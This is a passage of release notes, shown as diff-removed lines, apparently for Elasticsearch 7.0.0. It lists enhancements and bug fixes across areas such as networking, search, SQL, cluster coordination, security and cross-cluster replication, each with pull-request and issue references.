-* Merge the Jindex master feature branch {es-pull}36702[#36702] (issue: {es-issue}32905[#32905])
-* Add cluster setting to enable/disable config  migration {es-pull}36700[#36700] (issue: {es-issue}32905[#32905])
-* Allow stop unassigned datafeed and relax unset upgrade mode wait {es-pull}39034[#39034]
-
-Mapping::
-* Log document id when MapperParsingException occurs {es-pull}37800[#37800] (issue: {es-issue}37658[#37658])
-* [API] spelling: unknown {es-pull}37056[#37056] (issue: {es-issue}37035[#37035])
-* Make SourceToParse immutable {es-pull}36971[#36971]
-* Use index-prefix fields for terms of length min_chars - 1 {es-pull}36703[#36703]
-* Introduce a parameter suppress_types_warnings. {es-pull}38923[#38923]
-
-Network::
-* Add cors support to NioHttpServerTransport {es-pull}30827[#30827] (issue: {es-issue}28898[#28898])
-* Reintroduce mandatory http pipelining support {es-pull}30820[#30820]
-* Make http pipelining support mandatory {es-pull}30695[#30695] (issues: {es-issue}28898[#28898], {es-issue}29500[#29500])
-* Add nio http server transport {es-pull}29587[#29587] (issue: {es-issue}28898[#28898])
-* Add class for serializing message to bytes {es-pull}29384[#29384] (issue: {es-issue}28898[#28898])
-* Selectors operate on channel contexts {es-pull}28468[#28468] (issue: {es-issue}27260[#27260])
-* Unify nio read / write channel contexts {es-pull}28160[#28160] (issue: {es-issue}27260[#27260])
-* Create nio-transport plugin for NioTransport {es-pull}27949[#27949] (issue: {es-issue}27260[#27260])
-* Add elasticsearch-nio jar for base nio classes {es-pull}27801[#27801] (issue: {es-issue}27802[#27802])
-* Unify transport settings naming {es-pull}36623[#36623]
-* Add sni name to SSLEngine in netty transport {es-pull}33144[#33144] (issue: {es-issue}32517[#32517])
-* Add cors support to NioHttpServerTransport {es-pull}30827[#30827] (issue: {es-issue}28898[#28898])
-* Reintroduce mandatory http pipelining support {es-pull}30820[#30820]
-* Make http pipelining support mandatory {es-pull}30695[#30695] (issues: {es-issue}28898[#28898], {es-issue}29500[#29500])
-* Add nio http server transport {es-pull}29587[#29587] (issue: {es-issue}28898[#28898])
-* Selectors operate on channel contexts {es-pull}28468[#28468] (issue: {es-issue}27260[#27260])
-* Unify nio read / write channel contexts {es-pull}28160[#28160] (issue: {es-issue}27260[#27260])
-* Create nio-transport plugin for NioTransport {es-pull}27949[#27949] (issue: {es-issue}27260[#27260])
-* Add elasticsearch-nio jar for base nio classes {es-pull}27801[#27801] (issue: {es-issue}27802[#27802])
-* Add NioGroup for use in different transports {es-pull}27737[#27737] (issue: {es-issue}27260[#27260])
-* Add read timeouts to http module {es-pull}27713[#27713]
-* Implement byte array reusage in `NioTransport` {es-pull}27696[#27696] (issue: {es-issue}27563[#27563])
-* Introduce resizable inbound byte buffer {es-pull}27551[#27551] (issue: {es-issue}27563[#27563])
-* Decouple nio constructs from the tcp transport {es-pull}27484[#27484] (issue: {es-issue}27260[#27260])
-* Remove manual tracking of registered channels {es-pull}27445[#27445] (issue: {es-issue}27260[#27260])
-* Remove tcp profile from low level nio channel {es-pull}27441[#27441] (issue: {es-issue}27260[#27260])
-* Decouple `ChannelFactory` from Tcp classes {es-pull}27286[#27286] (issue: {es-issue}27260[#27260])
-* Enable TLSv1.3 by default for JDKs with support {es-pull}38103[#38103] (issue: {es-issue}32276[#32276])
-
-Packaging::
-* Introduce Docker images build {es-pull}36246[#36246]
-* Move creation of temporary directory to Java {es-pull}36002[#36002] (issue: {es-issue}31003[#31003])
-
-Percolator::
-* Make the `type` parameter optional when percolating existing documents. {es-pull}39987[#39987] (issue: {es-issue}39963[#39963])
-* Add support for selecting percolator query candidate matches containing geo_point based queries {es-pull}26040[#26040]
-
-Plugins::
-* Plugin install: don't print download progress in batch mode {es-pull}36361[#36361]
-
-Ranking::
-* Add k parameter to PrecisionAtK metric {es-pull}27569[#27569]
-* Vector field {es-pull}33022[#33022] (issue: {es-issue}31615[#31615])
-
-Recovery::
-* SyncedFlushService.getShardRoutingTable() should use metadata to check for index existence {es-pull}37691[#37691] (issue: {es-issue}33888[#33888])
-* Make prepare engine step of recovery source non-blocking {es-pull}37573[#37573] (issue: {es-issue}37174[#37174])
-* Make recovery source send operations non-blocking {es-pull}37503[#37503] (issue: {es-issue}37458[#37458])
-* Prepare to make send translog of recovery non-blocking {es-pull}37458[#37458] (issue: {es-issue}37291[#37291])
-* Make finalize step of recovery source non-blocking {es-pull}37388[#37388] (issue: {es-issue}37291[#37291])
-* Make recovery source partially non-blocking {es-pull}37291[#37291] (issue: {es-issue}36195[#36195])
-* Do not mutate RecoveryResponse {es-pull}37204[#37204] (issue: {es-issue}37174[#37174])
-* Don't block on peer recovery on the target side {es-pull}37076[#37076] (issue: {es-issue}36195[#36195])
-* Reduce recovery time with compress or secure transport {es-pull}36981[#36981] (issue: {es-issue}33844[#33844])
-* Translog corruption marker {es-pull}33415[#33415] (issue: {es-issue}31389[#31389])
-* Do not wait for advancement of checkpoint in recovery {es-pull}39006[#39006] (issues: {es-issue}38949[#38949], {es-issue}39000[#39000])
-
-Rollup::
-* Add non-X-Pack centric rollup endpoints {es-pull}36383[#36383] (issues: {es-issue}35958[#35958], {es-issue}35962[#35962])
-* Add more diagnostic stats to job {es-pull}35471[#35471]
-* Add `wait_for_completion` option to StopRollupJob API {es-pull}34811[#34811] (issue: {es-issue}34574[#34574])
-* Replace the TreeMap in the composite aggregation {es-pull}36675[#36675]
-
-Recovery::
-* Exposed engine must include all operations below global checkpoint during rollback {es-pull}36159[#36159] (issue: {es-issue}32867[#32867])
-
-Scripting::
-* Update joda compat methods to use compat class {es-pull}36654[#36654]
-* [Painless] Add boxed type to boxed type casts for method/return {es-pull}36571[#36571]
-* [Painless] Add def to boxed type casts {es-pull}36506[#36506]
-
-Settings::
-* Add user-defined cluster metadata {es-pull}33325[#33325] (issue: {es-issue}33220[#33220])
-
-Search::
-* Make limit on number of expanded fields configurable {es-pull}35284[#35284] (issues: {es-issue}26541[#26541], {es-issue}34778[#34778])
-* Search: Simply SingleFieldsVisitor {es-pull}34052[#34052]
-* Don't count hits via the collector if the hit count can be computed from index stats. {es-pull}33701[#33701]
-* Limit the number of concurrent requests per node {es-pull}31206[#31206] (issue: {es-issue}31192[#31192])
-* Default max concurrent search req. numNodes * 5 {es-pull}31171[#31171] (issues: {es-issue}30783[#30783], {es-issue}30994[#30994])
-* Change ScriptException status to 400 (bad request) {es-pull}30861[#30861] (issue: {es-issue}12315[#12315])
-* Change default value to true for transpositions parameter of fuzzy query {es-pull}26901[#26901]
-* Introducing "took" time (in ms) for `_msearch` {es-pull}23767[#23767] (issue: {es-issue}23131[#23131])
-* Add copy constructor to SearchRequest {es-pull}36641[#36641] (issue: {es-issue}32125[#32125])
-* Add raw sort values to SearchSortValues transport serialization {es-pull}36617[#36617] (issue: {es-issue}32125[#32125])
-* Add sort and collapse info to SearchHits transport serialization {es-pull}36555[#36555] (issue: {es-issue}32125[#32125])
-* Add default methods to DocValueFormat {es-pull}36480[#36480]
-* Respect indices options on _msearch {es-pull}35887[#35887]
-* Allow efficient can_match phases on frozen indices {es-pull}35431[#35431] (issues: {es-issue}34352[#34352], {es-issue}34357[#34357])
-* Add a new query type - ScriptScoreQuery {es-pull}34533[#34533] (issues: {es-issue}23850[#23850], {es-issue}27588[#27588], {es-issue}30303[#30303])
-* Tie break on cluster alias when merging shard search failures {es-pull}38715[#38715] (issue: {es-issue}38672[#38672])
-* Add finalReduce flag to SearchRequest {es-pull}38104[#38104] (issues: {es-issue}37000[#37000], {es-issue}37838[#37838])
-* Streamline skip_unavailable handling {es-pull}37672[#37672] (issue: {es-issue}32125[#32125])
-* Expose sequence number and primary terms in search responses {es-pull}37639[#37639]
-* Add support for merging multiple search responses into one {es-pull}37566[#37566] (issue: {es-issue}32125[#32125])
-* Allow field types to optimize phrase prefix queries {es-pull}37436[#37436] (issue: {es-issue}31921[#31921])
-* Add support for providing absolute start time to SearchRequest {es-pull}37142[#37142] (issue: {es-issue}32125[#32125])
-* Ensure that local cluster alias is never treated as remote {es-pull}37121[#37121] (issues: {es-issue}32125[#32125], {es-issue}36997[#36997])
-* [API] spelling: cacheable {es-pull}37047[#37047] (issue: {es-issue}37035[#37035])
-* Add ability to suggest shard_size on coord node rewrite {es-pull}37017[#37017] (issues: {es-issue}32125[#32125], {es-issue}36997[#36997], {es-issue}37000[#37000])
-* Skip final reduction if SearchRequest holds a cluster alias {es-pull}37000[#37000] (issues: {es-issue}32125[#32125], {es-issue}36997[#36997])
-* Add support for local cluster alias to SearchRequest {es-pull}36997[#36997] (issue: {es-issue}32125[#32125])
-* Use SearchRequest copy constructor in ExpandSearchPhase {es-pull}36772[#36772] (issue: {es-issue}36641[#36641])
-* Add raw sort values to SearchSortValues transport serialization {es-pull}36617[#36617] (issue: {es-issue}32125[#32125])
-* Avoid BytesRef's copying in ScriptDocValues's Strings {es-pull}29581[#29581] (issue: {es-issue}29567[#29567])
-
-Security::
-* Make credentials mandatory when launching xpack/migrate {es-pull}36197[#36197] (issues: {es-issue}29847[#29847], {es-issue}33972[#33972])
-* Move CAS operations in TokenService to sequence numbers {es-pull}38311[#38311] (issues: {es-issue}10708[#10708], {es-issue}37872[#37872])
-* Cleanup construction of interceptors {es-pull}38294[#38294]
-* Add passphrase support to elasticsearch-keystore {es-pull}37472[#37472] (issue: {es-issue}32691[#32691])
-* Types removal security index template {es-pull}39705[#39705] (issue: {es-issue}38637[#38637])
-* Types removal security index template {es-pull}39542[#39542] (issue: {es-issue}38637[#38637])
-
-Snapshot/Restore::
-* #31608 Add S3 Setting to Force Path Type Access {es-pull}34721[#34721] (issue: {es-issue}31608[#31608])
-* Allow Parallel Restore Operations {es-pull}36397[#36397]
-* Repo Creation out of ClusterStateTask {es-pull}36157[#36157] (issue: {es-issue}9488[#9488])
-* Add read-only repository verification {es-pull}35731[#35731] (issue: {es-issue}35703[#35703])
-* RestoreService should update primary terms when restoring shards of existing indices {es-pull}38177[#38177] (issue: {es-issue}33888[#33888])
-* Allow open indices to be restored {es-pull}37733[#37733]
-* Create specific exception for when snapshots are in progress {es-pull}37550[#37550] (issue: {es-issue}37541[#37541])
-* Make Atomic Blob Writes Mandatory {es-pull}37168[#37168] (issues: {es-issue}37011[#37011], {es-issue}37066[#37066])
-* Speed up HDFS Repository Writes {es-pull}37069[#37069]
-* Implement Atomic Blob Writes for HDFS Repository {es-pull}37066[#37066] (issue: {es-issue}37011[#37011])
-* [API] spelling: repositories {es-pull}37053[#37053] (issue: {es-issue}37035[#37035])
-* Use CancellableThreads to Abort {es-pull}35901[#35901] (issue: {es-issue}21759[#21759])
-* S3 client encryption {es-pull}30513[#30513] (issues: {es-issue}11128[#11128], {es-issue}16843[#16843])
-* Mark Deleted Snapshot Directories with Tombstones {es-pull}40228[#40228] (issue: {es-issue}39852[#39852])
-
-Stats::
-* Handle OS pretty name on old OS without OS release {es-pull}35453[#35453] (issue: {es-issue}35440[#35440])
-
-Store::
-* Add RemoveCorruptedShardDataCommand {es-pull}32281[#32281] (issues: {es-issue}31389[#31389], {es-issue}32279[#32279])
-* Add option to force load term dict into memory {es-pull}39741[#39741]
-
-SQL::
-* Introduce support for NULL values {es-pull}34573[#34573] (issue: {es-issue}32079[#32079])
-* Extend the ODBC metric by differentiating between 32 and 64bit platforms {es-pull}36753[#36753] (issue: {es-issue}36740[#36740])
-* Fix wrong appliance of StackOverflow limit for IN {es-pull}36724[#36724] (issue: {es-issue}36592[#36592])
-* Introduce NOW/CURRENT_TIMESTAMP function {es-pull}36562[#36562] (issue: {es-issue}36534[#36534])
-* Move requests' parameters to requests JSON body {es-pull}36149[#36149] (issue: {es-issue}35992[#35992])
-* Make INTERVAL millis optional {es-pull}36043[#36043] (issue: {es-issue}36032[#36032])
-* Implement data type verification for conditionals {es-pull}35916[#35916] (issue: {es-issue}35907[#35907])
-* Implement GREATEST and LEAST functions {es-pull}35879[#35879] (issue: {es-issue}35878[#35878])
-* Implement null safe equality operator `<=>` {es-pull}35873[#35873] (issue: {es-issue}35871[#35871])
-* SYS COLUMNS returns ODBC specific schema {es-pull}35870[#35870] (issue: {es-issue}35376[#35376])
-* Polish grammar for intervals {es-pull}35853[#35853]
-* Add filtering to SYS TYPES {es-pull}35852[#35852] (issue: {es-issue}35342[#35342])
-* Implement NULLIF(expr1, expr2) function {es-pull}35826[#35826] (issue: {es-issue}35818[#35818])
-* Lock down JDBC driver {es-pull}35798[#35798] (issue: {es-issue}35437[#35437])
-* Implement NVL(expr1, expr2) {es-pull}35794[#35794] (issue: {es-issue}35782[#35782])
-* Implement ISNULL(expr1, expr2) {es-pull}35793[#35793] (issue: {es-issue}35781[#35781])
-* Implement IFNULL variant of COALESCE {es-pull}35762[#35762] (issue: {es-issue}35749[#35749])
-* XPack FeatureSet functionality {es-pull}35725[#35725] (issue: {es-issue}34821[#34821])
-* Perform lazy evaluation of mismatched mappings {es-pull}35676[#35676] (issues: {es-issue}35659[#35659], {es-issue}35675[#35675])
-* Improve validation of unsupported fields {es-pull}35675[#35675] (issue: {es-issue}35673[#35673])
-* Move internals from Joda to java.time {es-pull}35649[#35649] (issue: {es-issue}35633[#35633])
-* Allow look-ahead resolution of aliases for WHERE clause {es-pull}38450[#38450] (issue: {es-issue}29983[#29983])
-* Implement CURRENT_DATE {es-pull}38175[#38175] (issue: {es-issue}38160[#38160])
-* Generate relevant error message when grouping functions are not used in GROUP BY {es-pull}38017[#38017] (issue: {es-issue}37952[#37952])
-* Skip the nested and object field types in case of an ODBC request {es-pull}37948[#37948] (issue: {es-issue}37801[#37801])
-* Add protocol tests and remove jdbc_type from drivers response {es-pull}37516[#37516] (issues: {es-issue}36635[#36635], {es-issue}36882[#36882])
-* Remove slightly used meta commands {es-pull}37506[#37506] (issue: {es-issue}37409[#37409])
-* Describe aliases as views {es-pull}37496[#37496] (issue: {es-issue}37422[#37422])
-* Make `FULL` non-reserved keyword in the grammar {es-pull}37377[#37377] (issue: {es-issue}37376[#37376])
-* Use declared source for error messages {es-pull}37161[#37161]
-* Improve error message when unable to translate to ES query DSL {es-pull}37129[#37129] (issue: {es-issue}37040[#37040])
-* [API] spelling: subtract {es-pull}37055[#37055] (issue: {es-issue}37035[#37035])
-* [API] spelling: similar {es-pull}37054[#37054] (issue: {es-issue}37035[#37035])
-* [API] spelling: input {es-pull}37048[#37048] (issue: {es-issue}37035[#37035])
-* Enhance message for PERCENTILE[_RANK] with field as 2nd arg {es-pull}36933[#36933] (issue: {es-issue}36903[#36903])
-* Preserve original source for each expression {es-pull}36912[#36912] (issue: {es-issue}36894[#36894])
-* Extend the ODBC metric by differentiating between 32 and 64bit platforms {es-pull}36753[#36753] (issue: {es-issue}36740[#36740])
-* Fix wrong appliance of StackOverflow limit for IN {es-pull}36724[#36724] (issue: {es-issue}36592[#36592])
-* Enhance checks for inexact fields {es-pull}39427[#39427] (issue: {es-issue}38501[#38501])
-* Change the default precision for CURRENT_TIMESTAMP function {es-pull}39391[#39391] (issue: {es-issue}39288[#39288])
-* Add "fuzziness" option to QUERY and MATCH function predicates {es-pull}40529[#40529] (issue: {es-issue}40495[#40495])
-* Add "validate.properties" property to JDBC's allowed list of settings {es-pull}39050[#39050] (issue: {es-issue}38068[#38068])
-
-Suggesters::
-* Remove unused empty constructors from suggestions classes {es-pull}37295[#37295]
-* [API] spelling: likelihood {es-pull}37052[#37052] (issue: {es-issue}37035[#37035])
-
-Task Management::
-* Periodically try to reassign unassigned persistent tasks {es-pull}36069[#36069] (issue: {es-issue}35792[#35792])
-* Only require task permissions {es-pull}35667[#35667] (issue: {es-issue}35573[#35573])
-* Retry if task can't be written {es-pull}35054[#35054] (issue: {es-issue}33764[#33764])
-
-ZenDiscovery::
-* Introduce vote withdrawal {es-pull}35446[#35446]
-* Add basic Zen1 transport-level BWC {es-pull}35443[#35443]
-* Add diff-based publishing {es-pull}35290[#35290]
-* Introduce auto_shrink_voting_configuration setting {es-pull}35217[#35217]
-* Introduce transport API for cluster bootstrapping {es-pull}34961[#34961]
-* Reconfigure cluster as its membership changes {es-pull}34592[#34592] (issue: {es-issue}33924[#33924])
-* Fail fast on disconnects {es-pull}34503[#34503]
-* Add storage-layer disruptions to CoordinatorTests {es-pull}34347[#34347]
-* Add low-level bootstrap implementation {es-pull}34345[#34345]
-* Gather votes from all nodes {es-pull}34335[#34335]
-* Add Cluster State Applier {es-pull}34257[#34257]
-* Add safety phase to CoordinatorTests {es-pull}34241[#34241]
-* Integrate FollowerChecker with Coordinator {es-pull}34075[#34075]
-* Integrate LeaderChecker with Coordinator {es-pull}34049[#34049]
-* Trigger join when active master detected {es-pull}34008[#34008]
-* Update PeerFinder term on term bump {es-pull}33992[#33992]
-* Calculate optimal cluster configuration {es-pull}33924[#33924]
-* Introduce FollowersChecker {es-pull}33917[#33917]
-* Integrate publication pipeline into Coordinator {es-pull}33771[#33771]
-* Add DisruptableMockTransport {es-pull}33713[#33713]
-* Implement basic cluster formation {es-pull}33668[#33668]
-* Introduce LeaderChecker {es-pull}33024[#33024]
-* Add leader-side join handling logic {es-pull}33013[#33013]
-* Add PeerFinder#onFoundPeersUpdated {es-pull}32939[#32939]
-* Introduce PreVoteCollector {es-pull}32847[#32847]
-* Introduce ElectionScheduler {es-pull}32846[#32846]
-* Introduce ElectionScheduler {es-pull}32709[#32709]
-* Add HandshakingTransportAddressConnector {es-pull}32643[#32643] (issue: {es-issue}32246[#32246])
-* Add UnicastConfiguredHostsResolver {es-pull}32642[#32642] (issue: {es-issue}32246[#32246])
-* Cluster state publication pipeline {es-pull}32584[#32584] (issue: {es-issue}32006[#32006])
-* Introduce gossip-like discovery of master nodes {es-pull}32246[#32246]
-* Add core coordination algorithm for cluster state publishing  {es-pull}32171[#32171] (issue: {es-issue}32006[#32006])
-* Add term and config to cluster state {es-pull}32100[#32100] (issue: {es-issue}32006[#32006])
-* Add discovery types to cluster stats {es-pull}36442[#36442]
-* Introduce `zen2` discovery type {es-pull}36298[#36298]
-* Persist cluster states the old way on non-master-eligible nodes {es-pull}36247[#36247] (issue: {es-issue}3[#3])
-* Storage layer WriteStateException propagation {es-pull}36052[#36052]
-* Implement Tombstone REST APIs {es-pull}36007[#36007]
-* Update default for USE_ZEN2 to true {es-pull}35998[#35998]
-* Add warning if cluster fails to form fast enough {es-pull}35993[#35993]
-* Allow Setting a List of Bootstrap Nodes to Wait for {es-pull}35847[#35847]
-* VotingTombstone class {es-pull}35832[#35832]
-* PersistedState interface implementation {es-pull}35819[#35819]
-* Support rolling upgrades from Zen1 {es-pull}35737[#35737]
-* Add lag detector {es-pull}35685[#35685]
-* Move ClusterState fields to be persisted to ClusterState.Metadata {es-pull}35625[#35625]
-* Introduce ClusterBootstrapService {es-pull}35488[#35488]
-* Introduce vote withdrawal {es-pull}35446[#35446]
-* Add basic Zen1 transport-level BWC {es-pull}35443[#35443]
-* Add elasticsearch-node detach-cluster tool {es-pull}37979[#37979]
-* Deprecate minimum_master_nodes {es-pull}37868[#37868]
-* Step down as master when configured out of voting configuration {es-pull}37802[#37802] (issue: {es-issue}37712[#37712])
-* Enforce cluster UUIDs {es-pull}37775[#37775]
-* Bubble exceptions up in ClusterApplierService {es-pull}37729[#37729]
-* Use m_m_nodes from Zen1 master for Zen2 bootstrap {es-pull}37701[#37701]
-* Add tool elasticsearch-node unsafe-bootstrap {es-pull}37696[#37696]
-* Report terms and version if cluster does not form {es-pull}37473[#37473]
-* Bootstrap a Zen2 cluster once quorum is discovered {es-pull}37463[#37463]
-* Zen2: Add join validation {es-pull}37203[#37203]
-* Publish cluster states in chunks {es-pull}36973[#36973]
-
-
-
-[[bug-7.0.0]]
-[discrete]
-=== Bug fixes
-
-Aggregations::
-* Fix InternalAutoDateHistogram reproducible failure {es-pull}32723[#32723] (issue: {es-issue}32215[#32215])
-* fix MultiValuesSourceFieldConfig toXContent {es-pull}36525[#36525] (issue: {es-issue}36474[#36474])
-* Cache the score of the parent document in the nested agg {es-pull}36019[#36019] (issues: {es-issue}34555[#34555], {es-issue}35985[#35985])
-* Correct implemented interface of ParsedReverseNested {es-pull}35455[#35455] (issue: {es-issue}35449[#35449])
-* Handle IndexOrDocValuesQuery in composite aggregation {es-pull}35392[#35392]
-* Don't load global ordinals with the `map` execution_hint {es-pull}37833[#37833] (issue: {es-issue}37705[#37705])
-* Issue #37303 - Invalid variance fix {es-pull}37384[#37384] (issue: {es-issue}37303[#37303])
-* Skip sibling pipeline aggregators reduction during non-final reduce {es-pull}40101[#40101] (issue: {es-issue}40059[#40059])
-* Extend nextDoc to delegate to the wrapped doc-value iterator for date_nanos {es-pull}39176[#39176] (issue: {es-issue}39107[#39107])
-* Only create MatrixStatsResults on final reduction {es-pull}38130[#38130] (issue: {es-issue}37587[#37587])
-
-Allocation::
-* Fix _host based require filters {es-pull}38173[#38173]
-* ALLOC: Fail Stale Primary Alloc. Req. without Data {es-pull}37226[#37226] (issue: {es-issue}37098[#37098])
-
-Analysis::
-* Close #26771: beider_morse phonetic encoder failure when languageset unspecified  {es-pull}26848[#26848] (issue: {es-issue}26771[#26771])
-* Fix PreConfiguredTokenFilters getSynonymFilter() implementations {es-pull}38839[#38839] (issue: {es-issue}38793[#38793])
-
-Audit::
-* Fix origin.type for connection_* events {es-pull}36410[#36410]
-* Fix IndexAuditTrail rolling restart on rollover edge {es-pull}35988[#35988] (issue: {es-issue}33867[#33867])
-* Fix NPE in Logfile Audit Filter {es-pull}38120[#38120] (issue: {es-issue}38097[#38097])
-* LoggingAuditTrail correctly handle ReplicatedWriteRequest {es-pull}39925[#39925] (issue: {es-issue}39555[#39555])
-
-Authorization::
-* Empty GetAliases authorization fix {es-pull}34444[#34444] (issue: {es-issue}31952[#31952])
-
-Authentication::
-* Fix kerberos setting registration {es-pull}35986[#35986] (issues: {es-issue}30241[#30241], {es-issue}35942[#35942])
-* Add support for Kerberos V5 Oid {es-pull}35764[#35764] (issue: {es-issue}34763[#34763])
-* Enhance parsing of StatusCode in SAML Responses {es-pull}38628[#38628]
-* Limit token expiry to 1 hour maximum {es-pull}38244[#38244]
-* Fix expired token message in Exception header {es-pull}37196[#37196]
-* Fix NPE in CachingUsernamePasswordRealm {es-pull}36953[#36953] (issue: {es-issue}36951[#36951])
-* Allow non super users to create API keys {es-pull}40028[#40028] (issue: {es-issue}40029[#40029])
-* Use consistent view of realms for authentication {es-pull}38815[#38815] (issue: {es-issue}30301[#30301])
-* Correct authenticate response for API key {es-pull}39684[#39684]
-* Fix security index auto-create and state recovery race {es-pull}39582[#39582]
-
-Build::
-* Use explicit deps on test tasks for check {es-pull}36325[#36325]
-* Fix jdbc jar pom to not include deps {es-pull}36036[#36036] (issue: {es-issue}32014[#32014])
-* Fix official plugins list {es-pull}35661[#35661] (issue: {es-issue}35623[#35623])
-
-CCR::
-* Fix follow stats API's follower index filtering feature {es-pull}36647[#36647]
-* AutoFollowCoordinator should tolerate that auto follow patterns may be removed {es-pull}35945[#35945] (issue: {es-issue}35937[#35937])
-* Only auto follow indices when all primary shards have started {es-pull}35814[#35814] (issue: {es-issue}35480[#35480])
-* Avoid NPE in follower stats when no tasks metadata {es-pull}35802[#35802]
-* Fix the names of CCR stats endpoints in usage API {es-pull}35438[#35438]
-* Prevent CCR recovery from missing documents {es-pull}38237[#38237]
-* Fix file reading in ccr restore service {es-pull}38117[#38117]
-* Correct argument names in update mapping/settings from leader {es-pull}38063[#38063]
-* Ensure changes requests return the latest mapping version {es-pull}37633[#37633]
-* Do not set fatal exception when shard follow task is stopped. {es-pull}37603[#37603]
-* Add fatal_exception field for ccr stats in monitoring mapping {es-pull}37563[#37563]
-* Do not add index event listener if CCR disabled {es-pull}37432[#37432]
-* When removing an AutoFollower also mark it as removed. {es-pull}37402[#37402] (issue: {es-issue}36761[#36761])
-* Make shard follow tasks more resilient for restarts {es-pull}37239[#37239] (issue: {es-issue}37231[#37231])
-* Resume follow Api should not require a request body {es-pull}37217[#37217] (issue: {es-issue}37022[#37022])
-* Report error if auto follower tries auto follow a leader index with soft deletes disabled {es-pull}36886[#36886] (issue: {es-issue}33007[#33007])
-* Remote cluster license checker and no license info. {es-pull}36837[#36837] (issue: {es-issue}36815[#36815])
-* Make CCR resilient against missing remote cluster connections {es-pull}36682[#36682] (issues: {es-issue}36255[#36255], {es-issue}36667[#36667])
-* AutoFollowCoordinator and follower index already created {es-pull}36540[#36540] (issue: {es-issue}33007[#33007])
-* Safe publication of AutoFollowCoordinator {es-pull}40153[#40153] (issue: {es-issue}38560[#38560])
-* Enable reading auto-follow patterns from x-content {es-pull}40130[#40130] (issue: {es-issue}40128[#40128])
-* Stop auto-followers on shutdown {es-pull}40124[#40124]
-* Protect against the leader index being removed {es-pull}39351[#39351] (issue: {es-issue}39308[#39308])
-* Handle the fact that `ShardStats` instance may have no commit or seqno stats {es-pull}38782[#38782] (issue: {es-issue}38779[#38779])
-* Fix LocalIndexFollowingIT#testRemoveRemoteConnection() test {es-pull}38709[#38709] (issue: {es-issue}38695[#38695])
-* Fix shard follow task startup error handling {es-pull}39053[#39053] (issue: {es-issue}38779[#38779])
-* Filter out upgraded version index settings when starting index following {es-pull}38838[#38838] (issue: {es-issue}38835[#38835])
-
-Circuit Breakers::
-* Modify `BigArrays` to take name of circuit breaker {es-pull}36461[#36461] (issue: {es-issue}31435[#31435])
-
-Core::
-* Fix CompositeBytesReference#slice to not throw AIOOBE with legal offsets. {es-pull}35955[#35955] (issue: {es-issue}35950[#35950])
-* Suppress CachedTimeThread in hot threads output {es-pull}35558[#35558] (issue: {es-issue}23175[#23175])
-* Upgrade to Joda 2.10.1 {es-pull}35410[#35410] (issue: {es-issue}33749[#33749])
-
-CRUD::
-* Fix Reindex from remote query logic {es-pull}36908[#36908]
-* Synchronize WriteReplicaResult callbacks {es-pull}36770[#36770]
-* Cascading primary failure lead to MSU too low {es-pull}40249[#40249]
-* Store Pending Deletions Fix {es-pull}40345[#40345] (issue: {es-issue}40249[#40249])
-* ShardBulkAction ignore primary response on primary {es-pull}38901[#38901]
-
-Cluster Coordination::
-* Fix node tool cleanup {es-pull}39389[#39389]
-* Avoid serialising state if it was already serialised {es-pull}39179[#39179]
-* Do not perform cleanup if Manifest write fails with dirty exception {es-pull}40519[#40519] (issue: {es-issue}39077[#39077])
-* Cache compressed cluster state size {es-pull}39827[#39827] (issue: {es-issue}39806[#39806])
-* Drop node if asymmetrically partitioned from master {es-pull}39598[#39598]
-* Fixing the custom object serialization bug in diffable utils. {es-pull}39544[#39544]
-* Clean GatewayAllocator when stepping down as master {es-pull}38885[#38885]
-
-Distributed::
-* Combine the execution of an exclusive replica operation with primary term update {es-pull}36116[#36116] (issue: {es-issue}35850[#35850])
-* ActiveShardCount should not fail when closing the index {es-pull}35936[#35936]
-* TransportVerifyShardBeforeCloseAction should force a flush {es-pull}38401[#38401] (issues: {es-issue}33888[#33888], {es-issue}37961[#37961])
-* Fix limit on retaining sequence number {es-pull}37992[#37992] (issue: {es-issue}37165[#37165])
-* Close Index API should force a flush if a sync is needed {es-pull}37961[#37961] (issues: {es-issue}33888[#33888], {es-issue}37426[#37426])
-* Force Refresh Listeners when Acquiring all Operation Permits {es-pull}36835[#36835]
-* Replaced the word 'shards' with 'replicas' in an error message. (#36234) {es-pull}36275[#36275] (issue: {es-issue}36234[#36234])
-* Ignore waitForActiveShards when syncing leases {es-pull}39224[#39224] (issue: {es-issue}39089[#39089])
-* Fix synchronization in LocalCheckpointTracker#contains {es-pull}38755[#38755] (issues: {es-issue}33871[#33871], {es-issue}38633[#38633])
-* Enforce retention leases require soft deletes {es-pull}39922[#39922] (issue: {es-issue}39914[#39914])
-* Treat TransportService stopped error as node is closing {es-pull}39800[#39800] (issue: {es-issue}39584[#39584])
-* Use cause to determine if node with primary is closing {es-pull}39723[#39723] (issue: {es-issue}39584[#39584])
-* Don’t ack if unable to remove failing replica {es-pull}39584[#39584] (issue: {es-issue}39467[#39467])
-* Fix NPE on Stale Index in IndicesService {es-pull}38891[#38891] (issue: {es-issue}38845[#38845])
-
-Engine::
-* Set Lucene version upon index creation. {es-pull}36038[#36038] (issue: {es-issue}33826[#33826])
-* Wrap can_match reader with ElasticsearchDirectoryReader {es-pull}35857[#35857]
-* Copy checkpoint atomically when rolling generation {es-pull}35407[#35407]
-* Subclass NIOFSDirectory instead of using FileSwitchDirectory {es-pull}37140[#37140] (issues: {es-issue}36668[#36668], {es-issue}37111[#37111])
-* Bubble up exception when processing NoOp {es-pull}39338[#39338] (issue: {es-issue}38898[#38898])
-* ReadOnlyEngine should update translog recovery state information {es-pull}39238[#39238]
-* Advance max_seq_no before add operation to Lucene {es-pull}38879[#38879] (issue: {es-issue}31629[#31629])
-
-Features/Features::
-* Only count some fields types for deprecation check {es-pull}40166[#40166]
-* Deprecation check for indices with very large numbers of fields {es-pull}39869[#39869] (issue: {es-issue}39851[#39851])
-
-Features/ILM::
-* Preserve ILM operation mode when creating new lifecycles {es-pull}38134[#38134] (issues: {es-issue}38229[#38229], {es-issue}38230[#38230])
-* Retry ILM steps that fail due to SnapshotInProgressException {es-pull}37624[#37624] (issues: {es-issue}37541[#37541], {es-issue}37552[#37552])
-* Remove `indexing_complete` when removing policy {es-pull}36620[#36620]
-* Handle failure to release retention leases in ILM {es-pull}39281[#39281] (issue: {es-issue}39181[#39181])
-* Correct ILM metadata minimum compatibility version {es-pull}40569[#40569] (issue: {es-issue}40565[#40565])
-* Handle null retention leases in WaitForNoFollowersStep {es-pull}40477[#40477]
-* Allow ILM to stop if indices have nonexistent policies {es-pull}40820[#40820] (issue: {es-issue}40824[#40824])
-
-Features/Indices APIs::
-* Validate top-level keys for create index request (#23755) {es-pull}23869[#23869] (issue: {es-issue}23755[#23755])
-* Reject delete index requests with a body {es-pull}37501[#37501] (issue: {es-issue}8217[#8217])
